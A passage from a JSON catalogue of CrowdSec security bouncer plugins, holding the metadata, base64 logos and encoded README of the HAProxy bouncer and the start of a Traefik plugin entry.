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", "url": "https://github.com/crowdsecurity/cs-haproxy-bouncer", "description": "Crowdsec bouncer for HAProxy", "stars": 9, "downloads": 16, "readme_content": "PHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcy1oYXByb3h5LWJvdW5jZXIvcmF3L21haW4vZG9jcy9hc3NldHMvY3Jvd2RzZWNfaGFwcm94eS5zdmciIGFsdD0iQ3Jvd2RTZWMiIHRpdGxlPSJDcm93ZFNlYyIgd2lkdGg9IjI4MCIgaGVpZ2h0PSIzMDAiIC8+CjwvcD4KPHAgYWxpZ249ImNlbnRlciI+CjxpbWcgc3JjPSJodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL2J1aWxkLXBhc3MtZ3JlZW4iPgo8aW1nIHNyYz0iaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS90ZXN0cy1wYXNzLWdyZWVuIj4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4KJiN4MUY0REE7IDxhIGhyZWY9IiNpbnN0YWxsYXRpb24vIj5Eb2N1bWVudGF0aW9uPC9hPgomI3gxRjRBMDsgPGEgaHJlZj0iaHR0cHM6Ly9odWIuY3Jvd2RzZWMubmV0Ij5IdWI8L2E+CiYjMTI4MTcyOyA8YSBocmVmPSJodHRwczovL2Rpc2NvdXJzZS5jcm93ZHNlYy5uZXQiPkRpc2NvdXJzZSA8L2E+CjwvcD4KCgoKIyBDcm93ZFNlYyBIQVByb3h5IEJvdW5jZXIKCkEgbHVhIGJvdW5jZXIgZm9yIGhhcHJveHkuCgojIyBIb3cgZG9lcyBpdCB3b3JrID8KClRoaXMgYm91bmNlciBsZXZlcmFnZXMgaGFwcm94eSBsdWEncyBBUEkuCgpOZXcvdW5rbm93biBJUCBhcmUgY2hlY2tlZCBhZ2FpbnN0IGNyb3dkc2VjIEFQSSwgYW5kIGlmIHJlcXVlc3Qgc2hvdWxkIGJlIGJsb2NrZWQsIGEgKio0MDMqKiBpcyByZXR1cm5lZCB0byB0aGUgdXNlciwgYW5kIHB1dCBpbiBjYWNoZS4KCiMgSW5zdGFsbGF0aW9uCgpQbGVhc2UgZm9sbG93IHRoZSBbb2ZmaWNpYWwgZG9jdW1lbnRhdGlvbl0oaHR0cHM6Ly9kb2MuY3Jvd2RzZWMubmV0L2RvY3MvbmV4dC9ib3VuY2Vycy9oYXByb3h5KS4K", "status": "stable", "version": "v0.0.3", "assets": [ { "name": "crowdsec-haproxy-bouncer.tgz", "download_url": "https://github.com/crowdsecurity/cs-haproxy-bouncer/releases/download/v0.0.3/crowdsec-haproxy-bouncer.tgz", "asset_url": "https://api.github.com/repos/crowdsecurity/cs-haproxy-bouncer/releases/assets/80629411" } ] }, { "name": "crowdsec-bouncer-traefik-plugin", "author": "maxlerebourg", "logo": "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